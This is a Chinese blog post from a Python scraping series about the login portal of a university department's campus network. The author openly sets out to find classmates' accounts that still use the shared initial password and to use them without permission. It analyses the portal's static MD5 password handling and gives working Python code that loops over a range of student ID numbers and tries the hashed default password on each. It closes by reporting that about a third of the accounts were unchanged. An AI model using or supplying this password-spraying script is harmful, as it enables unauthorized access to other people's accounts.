Python爬蟲學習(7):浙大軟院網號嗅探

Amei1314發表於2016-10-23

  軟院這邊網速是挺不錯的,而且在宿舍和實驗室都是可以通過學號直接登陸的上網的,但是..有的時候實驗室的桌上型電腦需要一個網號,筆記本需要一個網號,或者再加上一個路由器需要一個,然後,感覺網號託託的不夠呀。剛開學分配網號的時候,每個人的密碼都初始為同一個,嘿嘿。。。有些人其實懶得去改,或者是去了遙遠的杭州,然後,這些網號可能閒置了,嘿嘿。所以這一次的目的就是嗅探這些沒有更改過網號密碼的網號,然後,你懂得。但是作為一個四好青年,我不會狠到去更改他們的密碼,只是在他們沒有上網的時候借用他們的網號,當他們要上網的時候其實可以通過強退讓我下線,然後他們自己可以用。

1. 分析網路認證介面:

  其地址為: http://192.0.0.6/

  

  從下邊的程式碼中我們可以發現,在處理登陸部分程式碼中使用了md5演算法加密密碼,其登陸需要的驗證網址,所需要的引數:

  

  我們還可以通過瀏覽器幫助我們檢視登陸的詳情。使用者名稱和密碼點選登陸後,驗證登陸資訊的地址是: http://192.0.0.6/cgi-bin/do_login

  

  再檢視以下登陸需要的引數,其中我輸入的使用者名稱和密碼都是123456,很明顯可以看出密碼加密過了。

  

  加密了沒關係,嘗試了幾次發現,雖然加密了,但是卻用的靜態的MD5加密,嘿嘿。。。,只要密碼一樣,每次加密的結果就會一樣(-_-)。而我們這次僅僅是用初始密碼來驗證以下誰沒有更改密碼,所以我們用正確的密碼嘗試登陸一次,就可以獲取它加密後的值應該是多少了,然後用這個值作為密碼去模擬登陸,肯定是OK的啦。或者是直接去呼叫python 中的 hashlib 中的md5加密函式。

  下來我們看一下POST資料的時候還有什麼處理,其程式碼如下圖。其中XMLHttpRequest 物件是名為 AJAX 的 關鍵功能,用於非同步請求。這裡設定了Content-Type,所以這項在模擬登陸的需要設定。

  

  看看請求的時候具體都傳送了什麼請求頭,這裡我們為了避免出錯,這模擬登陸的時候最好將User-Agent使用者代理資訊加上。

  

  我們接著來看一下登陸之後的邏輯,成功之後程式碼如下圖所示。如果登陸成功並返回一串數字的時候,就根據是否記住密碼選項決定是否寫Cookie。

  

  如果失敗了就根據返回內容做決定:

      

2. 模擬登陸:

  根據上述的描述,我們嘗試登陸以下:

#!/usr/bin/python
#! -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os

class Sniffer:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
    def test(self):
        username="123456"
        password="123456"
        drop="0"
        # 直接從原始頁面的程式碼中複製過來的
        data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        print res.read()
sniffer = Sniffer()
sniffer.test()

 

  上述執行結果為: username_error,使用者錯誤。我們看一下總共有哪些返回資訊:

         case "user_tab_error":
             alert("認證程式未啟動");
             break;             
         case "username_error":
             alert("使用者名稱錯誤");
             break;             
         case "non_auth_error":
             alert("您無須認證,可直接上網");
             break;             
         case "password_error":
             alert("密碼錯誤");break;      
         case "status_error":
             alert("使用者已欠費,請儘快充值。");
             break;          
         case "available_error":
             alert("使用者已禁用");
             break;             
         case "ip_exist_error":
             alert("您的IP尚未下線,請等待2分鐘再試。");
             break;             
         case "usernum_error":
             alert("使用者數已達上限");
             break;              
         case "online_num_error":
             alert("該帳號的登入人數已超過限額\n如果懷疑帳號被盜用,請聯絡管理員。");
             break;                
         case "mode_error":
             alert("系統已禁止WEB方式登入,請使用客戶端");
             break;           
         case "time_policy_error":
             alert("當前時段不允許連線");
             break;             
         case "flux_error":
             alert("您的流量已超支");
             break;             
         case "minutes_error":
             alert("您的時長已超支");
             break;             
         case "ip_error":
             alert("您的IP地址不合法");
             break;             
         case "mac_error":
             alert("您的MAC地址不合法");
             break;             
         case "sync_error":
             alert("您的資料已修改,正在等待同步,請2分鐘後再試。");
             break;             
         default:
             alert("找不到認證伺服器");
             break;        

  其中當返回為online_num_errorip_exist_error,以及一串數字的時候(也就是登陸成功)的時候就表明使用者名稱和密碼是正確的(-_-),是的...就是這麼簡單。

  我們將username設定為網號範圍的網號,遍歷訪問,而password就是初始密碼經過md5加密過的密碼,獲取這個加密過的密碼可以通過進入瀏覽器的檢視介面(火狐是F12),然後輸入初始密碼,提交之後可以在,在引數一項中看到:

  

  下來我們就通過遍歷來獲取沒有改過密碼的網號:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os
import hashlib

class Sniffer:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
        # 密碼正確的可呢返回結果
        self.right = ["ip_exist_error","online_num_error","usernum_error"]
        # 登陸成功後返回的結果是一串數字
        self.pattern = re.compile(r"^[\d]+$")
    def access(self,username,password):
        # 這個密碼就是初始密碼經過md3u加密過的
        # 頁面中只是獲取了加密的從第8位置開始的16個的字元
        password = self.get_md5(password)[8:24]
        # 直接從原始頁面的程式碼中複製過來的
        data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        mat = re.match(self.pattern,content)
        # 登陸成功
        if mat:
            return True
        # 其它密碼正確的情況
        if content in self.right:
            return True
        else:
            return False

    # 獲取資訊的md5摘要資訊
    def get_md5(self,original):
        m = hashlib.md5()
        m.update(original)
        return m.hexdigest()

    def trace(self,start,end):
        result = []
     # 這裡設定初始密碼 password
= "*******" for account in range(start,end): print "sniff "+str(account) if self.access(str(account),password): print str(account)+" is avialable" result.append(str(account)) return result sniffer = Sniffer() # 傳入開始帳號和結束帳號 start = input("the start account: ") end = input("the end account: ") print sniffer.trace(int(start),int(end))

 

 

 

    執行上述指令碼就會產生沒有改過密碼的帳號啦。

     執行結果顯示有三分之一的同學都沒有改密碼,這個比例相當的高呀。

 

 

 

  

  

 

相關文章